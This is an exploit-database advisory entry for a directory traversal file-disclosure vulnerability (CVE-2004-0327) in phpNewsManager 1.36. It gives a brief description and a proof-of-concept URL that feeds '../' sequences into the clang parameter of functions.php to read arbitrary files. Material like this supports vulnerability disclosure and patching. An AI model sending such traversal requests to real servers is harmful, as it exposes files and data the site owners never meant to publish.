phpNewsManager 1.36 - functions Script File Disclosure
| EKU-ID: 29173 | CVE: CVE-2004-0327;OSVDB-4026 | OSVDB-ID: |
| Author: G00db0y | Published: 2004-02-23 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 29173 | CVE: CVE-2004-0327;OSVDB-4026 | OSVDB-ID: |
| Author: G00db0y | Published: 2004-02-23 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
source: https://www.securityfocus.com/bid/9720/info phpNewsManager is prone to a file disclosure vulnerability. Remote attackers may submit malicious requests to the software that contain directory traversal sequences, potentially exposing sensitive resources outside of the hosting web server root. http://www.example.com/functions.php?clang=../../../[existing_file]